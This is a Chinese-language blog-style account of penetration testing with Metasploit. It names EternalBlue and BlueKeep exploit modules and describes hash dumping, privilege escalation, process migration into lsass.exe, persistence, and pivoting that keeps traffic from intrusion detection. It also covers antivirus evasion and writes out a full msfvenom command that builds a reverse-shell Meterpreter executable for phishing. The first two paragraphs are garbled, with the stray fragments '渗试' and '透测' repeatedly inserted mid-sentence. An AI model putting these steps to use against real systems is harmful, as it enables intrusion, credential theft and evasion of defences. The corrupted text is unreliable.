msf渗透测试
第一次用msfconsole弹回一个meterpreter会话时,渗试我盯着屏幕上跳出来的透测“Meterpreter session 1 opened”愣了五秒。那台靶机是渗试台Windows Server 2008,漏洞是透测MS17-010,从扫描到拿shell前后不到三分钟。渗试Kali里敲下msfconsole那刻起,透测这东西就不是渗试个普通工具了——它把漏洞利用、载荷投递、透测后渗透全串成了一条流水线。渗试
Metasploit Framework的透测核心逻辑其实不复杂。模块化设计,渗试每个漏洞一个exploit模块,透测每个载荷一个payload模块。渗试你选好exploit,透测配好payload,渗试设好RHOSTS和LHOST,敲run或者exploit,剩下的它自己谈。这种“填空式”操作让渗透测试的门槛降了一大截,但也容易让人忽略底层到底发生了什么。我见过不少人能熟练敲use exploit/windows/smb/ms17_010_eternalblue,却说不清SMB协议里那个缓冲区溢出是怎么触发的。
拿最近一次内部测试来说。目标是一台对外暴露RDP的Win7机器,端口扫描只开了3389和445。常规思路先试MS17-010,没打进去,补丁打了。转头看RDP,用auxiliary/scanner/rdp/rdp_scanner确认了版本,然后上exploit/windows/rdp/cve_2019_0708_bluekeep_rce。这个模块有意思的地方在于它需要手动指定目标类型,Win7 SP1和Win2008 R2的内存布局不一样,选错了直接蓝屏。当时试了两次才命中,第三次会话弹回来的时候,目标机器已经重启过一轮了。BlueKeep这漏洞利用起来不算稳定,但msf把它封装得足够傻瓜化,你只需要选对Target。
后渗透阶段才是msf真正拉开差距的地方。meterpreter不只是个shell,它自带一堆命令:hashdump抓SAM,getsystem提权,migrate迁移进程到更稳定的宿主里。migrate这个操作我几乎每次必做,把会话从被利用的进程(比如smbv2的某个线程)迁到explorer.exe或者lsass.exe上,避免目标服务重启导致会话断开。有次忘了迁移,对方运维重启了Print Spooler服务,会话直接没了,前功尽弃。
持久化可以用persistence脚本,注册表、服务、启动项都能写。但实际项目里我很少用msf自带的持久化,动静太大,EDR基本一抓一个准。更常见的是拿完hash就走,或者用autoroute加socks_proxy把msf当跳板,继续往内网深处摸。这个组合技特别顺手:一台边缘机器被拿下后,加条路由,开个socks代理,然后直接拿Proxychains挂nmap扫内网,流量全走meterpreter隧道,目标内网的IDS根本看不到。
msf的辅助模块也值得单独说。auxiliary/scanner/下面一堆扫描器,smb_version、ssh_version、http_version,批量扫资产版本信息比nmap的脚本引擎快。还有auxiliary/gather/里的各种信息收集模块,比如office_enum能直接从域里拉用户列表。这些模块单独拎出来用,比很多商业扫描器都利索。
不过msf不是万能的。它对内存破坏类漏洞的利用稳定性一直是个槽点,BlueKeep、EternalBlue这些打多了容易把目标搞崩。另外msf的payload免杀能力基本为零,默认的windows/meterpreter/reverse_tcp在Defender面前跟裸奔没区别。真要绕过杀软,得配合Veil、Shellter或者自己改shellcode。我一般用msf做初期验证和快速打点,真到需要隐蔽持久化的环节,还是得手搓或者换Cobalt Strike。
最后提一嘴msfvenom。这东西是msf里我用的频率最高的组件,没有之一。生成payload、编码、捆绑、做各种格式的反弹shell,全指望它。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f exe -o shell.exe这条命令我闭着眼都能敲出来。虽然生成的exe免杀性堪忧,但做钓鱼文件或者测试载荷投递链路时,它是最快的那把刀。
(责任编辑:休闲)














